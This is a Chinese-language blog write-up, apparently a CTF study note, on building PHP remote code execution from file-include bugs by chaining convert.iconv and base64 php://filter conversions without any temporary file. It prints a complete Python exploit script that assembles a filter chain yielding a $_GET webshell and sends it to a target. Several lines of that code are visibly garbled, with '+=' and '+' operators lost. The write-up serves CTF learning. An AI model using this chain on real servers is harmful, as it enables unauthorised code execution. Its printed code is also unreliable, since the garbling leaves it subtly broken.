利用filter过滤器的编码组合构造RCE

2023-05-16 11:03:36 浏览数 (1)

前言

紧接上篇,记录一下如何实现利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE

PHP Base64 Filter

Base64编码中只包含64个可打印字符A-Za-z0-9/ =,而PHP在解码base64时,遇到不在其中的字符包括不可见字符、控制字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。例如:

代码语言:javascript复制
<?php
$url="?<_>xefa x89x;";  // 字母k经过base64编码后为ax
var_dump(base64_decode($url));
// string(1) "k"

因此利用 PHP Filter Base64 可以去掉一些特殊字符。参考p神文章:谈一谈php://filter的妙用

学习了这个就可以开始尝试构造一句话木马RCE了

无中生有

首先我们都知道include "php://filter/convert.base64-decode/resource=./flag.php";这里包含的是 flag.php 的内容经过base64编码后的结果。除了这个filter,PHP Filter 当中还有一种 convert.iconv 的 Filter ,可以用来将数据从字符集 A 转换为字符集 B。可以通过命令 iconv -l 列出支持的字符编码,虽然列出的字符编码比较多,但一些实际上是其他字符集的别名。

这时候,奇妙的东西出现了,convert.iconv.UTF8.CSISO2022KR 将始终在字符串前面添加x1b$)Cx1b是不可见字符可以看到这个 UTF8.CSISO2022KR 编码形式,并且通过这个编码形式产生的字符串里面, C 字符前面的字符对于 PHP Base64 来说是非法字符,所以接下来我们只需要 base64-decode 一下就可以去掉不可见字符了,但是与此同时,我们的 C 字符也被 base64-decode 解码了,这时候我们需要再把解码结果使用一次 base64-encode 即可还原回来原来的 C 字符了。事实真是如此吗,no!经过测试可以发现,当 C 后面没有 base64 有效字符时,并没有将 C 还原回来。

这时候该怎么办呢(思考脸),既然刚刚UTF8.CSISO2022KR可以捏造出base64有效字符,那先捏造出来一些垃圾数据不就可以了。为了得到满满的有效字符,可以直接再base64编码一手,那么代码就长这样

这样就还原出了字符C,这里使用convert.iconv.UTF8.UTF7的原因是 有时候会出现convert.base64-decode 过滤器失败的情况:如果它在意想不到的时候遇到等号,幸运的是可以再次使用 iconv 并从 UTF8 转换为 UTF7,这会将字符串中的任何等号转换为某个 base64有效字符

因此只要编码规则用得好,其实resource的文件内容是什么无关紧要,只要有文件,哪怕是个空文件,也能无中生有制造垃圾数据作为基础数据进行编码转换。

恶意构造

那我们应该怎么构造需要的内容呢?因为 base64 编码合法字符里面并没有尖括号这些,所以我们不能通过以上方式直接产生 PHP 代码进行包含,但是我们可以将恶意 PHP 代码 base64 编码后作为目标字符,通过编码规则逐步拓展原字符串的字节长度,在原字符串的前端生成我们想要构造的字符,最后再使用一次 base64 解码一次就可以了。比如

代码语言:javascript复制
<?=`$_GET[0]`;;?>

以上 payload 的 base64 编码为 PD89YCRfR0VUWzBdYDs7Pz4=,然后通过各种字符编码组合 fuzz 出所有单字符的编码形式,而且并不是所有出现了合法字符的编码形式就是符合要求的,然后把符合要求的组合起来即可。那么整个脚本为:

出自 Solving “includer’s revenge” from hxp ctf 2021 without controlling any files

代码语言:javascript复制
import requests

url = "http://localhost/index.php"
file_to_use = "/etc/passwd"
command = "/readflag"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters  = "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters  = "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters  = conversions[c]   "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters  = "convert.base64-decode|"
        filters  = "convert.base64-encode|"
        # get rid of equal signs
        filters  = "convert.iconv.UTF8.UTF7|"

filters  = "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
})

print(r.text)
一把梭

有了这个脚本就可以根据题目需要进行适当修改,然后一把梭啦!

又学会一种新姿势!并感谢 Gqleung 的讲解

Reference: https://tttang.com/archive/1395/ https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d https://www.leavesongs.com/PENETRATION/php-filter-magic.html#_1

0 人点赞